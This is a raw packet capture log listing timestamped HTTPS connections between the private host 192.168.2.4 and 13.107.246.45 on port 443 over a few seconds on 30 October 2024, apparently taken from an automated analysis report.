Oct 30, 2024 07:28:24.758899927 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.759521008 CET	49942	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.759526014 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.889970064 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.890043974 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.890223980 CET	49942	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.890435934 CET	49942	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.890454054 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.890469074 CET	49942	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.890475035 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.893673897 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.893711090 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:24.893786907 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.893938065 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:24.893950939 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.162941933 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.163552046 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.163578033 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.164027929 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.164033890 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.167081118 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.167402983 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.167465925 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.167748928 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.167764902 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.293189049 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.293257952 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.293346882 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.293379068 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.293432951 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.295960903 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.295991898 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.296006918 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.296014071 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.301683903 CET	49948	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.301723957 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.301803112 CET	49948	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.301987886 CET	49948	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.302001953 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.305418015 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.305588007 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.305805922 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.305891037 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.305891037 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.305938959 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.305967093 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.308953047 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.308988094 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.309252977 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.309449911 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.309468031 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.389581919 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.389605045 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.390650988 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.390671968 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.391655922 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.391661882 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.391932964 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.391956091 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.392726898 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.392738104 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.520000935 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.520100117 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.520179987 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.520206928 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.520296097 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.521461010 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.537504911 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.537678003 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.537749052 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.565161943 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.565198898 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.566956043 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.566956043 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.566983938 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.566998005 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.573041916 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.573080063 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.573515892 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.577806950 CET	49952	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.577860117 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.577923059 CET	49952	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.578835964 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.578852892 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.579329014 CET	49952	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.579349041 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.640443087 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.640921116 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.640942097 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:25.641403913 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:25.641411066 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:26.753132105 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:26.753297091 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:26.753432989 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:26.810815096 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:26.810815096 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:26.810874939 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:26.810893059 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:26.813465118 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:26.813554049 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:26.813667059 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:26.813788891 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:26.813803911 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:26.881290913 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:26.882247925 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:26.882963896 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:26.883697033 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:26.889743090 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:26.889758110 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:26.896632910 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:26.896642923 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:26.900439978 CET	49952	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:26.900513887 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:26.904023886 CET	49952	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:26.904047012 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:26.907635927 CET	49948	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:26.907663107 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:26.914450884 CET	49948	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:26.914458990 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:26.914771080 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:26.914796114 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:26.921526909 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:26.921535015 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.023650885 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.023746014 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.024022102 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.024122000 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.024138927 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.024182081 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.024188042 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.028980970 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.029095888 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.030286074 CET	49952	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.034369946 CET	49952	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.034400940 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.034415007 CET	49952	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.034423113 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.037607908 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.037648916 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.037714958 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.038192034 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.038229942 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.038290024 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.038387060 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.038398981 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.038477898 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.038489103 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.039061069 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.039330006 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.041452885 CET	49948	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.041582108 CET	49948	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.041598082 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.041611910 CET	49948	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.041616917 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.044137001 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.044172049 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.044239044 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.044379950 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.044389963 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.045887947 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.045918941 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.045969009 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.045974016 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.046010971 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.046183109 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.046196938 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.046209097 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.046215057 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.048538923 CET	49957	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.048587084 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.048681021 CET	49957	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.048804045 CET	49957	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.048816919 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.553914070 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.554553032 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.554577112 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.555149078 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.555155993 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.685339928 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.685420990 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.685556889 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.685678005 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.685695887 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.685728073 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.685734034 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.688579082 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.688674927 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.688770056 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.689014912 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.689043045 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.769234896 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.769886971 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.769979954 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.770375967 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.770390987 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.775510073 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.775866032 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.775897980 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.776427984 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.776433945 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.783230066 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.783690929 CET	49957	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.783720970 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.784142971 CET	49957	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.784149885 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.788022995 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.788342953 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.788403988 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.788722992 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.788741112 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.898762941 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.898845911 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.898951054 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.904659033 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.904695988 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.904745102 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.904782057 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.904820919 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.906080008 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.906107903 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.906153917 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.906162024 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.906585932 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.906614065 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.906625032 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.906631947 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.909713030 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.909765005 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.909837961 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.909908056 CET	49960	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.909950972 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.910003901 CET	49960	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.910063028 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.910079956 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.910152912 CET	49960	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.910162926 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.923590899 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.923816919 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.923904896 CET	49957	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.924065113 CET	49957	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.924083948 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.924096107 CET	49957	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.924107075 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.926403046 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.926434994 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.926533937 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.926650047 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.926667929 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.935695887 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.935777903 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.935878038 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.936101913 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.936101913 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.936136007 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.936165094 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.938810110 CET	49962	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.938853025 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:27.938934088 CET	49962	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.939081907 CET	49962	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:27.939093113 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.424968958 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.425843000 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.425865889 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.426414967 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.426422119 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.556849003 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.557053089 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.557169914 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.557677031 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.557723999 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.557755947 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.557775021 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.562299967 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.562338114 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.562541008 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.562916040 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.562928915 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.639097929 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.639688969 CET	49960	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.639717102 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.640225887 CET	49960	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.640230894 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.654731989 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.658992052 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.659059048 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.659559965 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.659575939 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.671236992 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.671305895 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.671772003 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.671783924 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.671852112 CET	49962	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.671874046 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.672302008 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.672308922 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.672349930 CET	49962	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.672354937 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.768532991 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.768604994 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.768697977 CET	49960	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.768980026 CET	49960	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.769007921 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.769020081 CET	49960	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.769026995 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.772628069 CET	49964	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.772672892 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.772744894 CET	49964	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.772905111 CET	49964	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.772917986 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.786153078 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.786231041 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.786317110 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.786405087 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.786448002 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.786523104 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.786524057 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.786524057 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.789441109 CET	49965	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.789479017 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.789602995 CET	49965	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.789781094 CET	49965	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.789798021 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.804366112 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.804476023 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.804562092 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.804729939 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.804729939 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.804745913 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.804758072 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.807544947 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.807590008 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.807626009 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.807674885 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.807706118 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.807758093 CET	49962	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.807840109 CET	49962	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.807852983 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:28.807857037 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.807862043 CET	49962	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:28.807864904 CET	443	49966	13.107.246.45	192.168.2.4
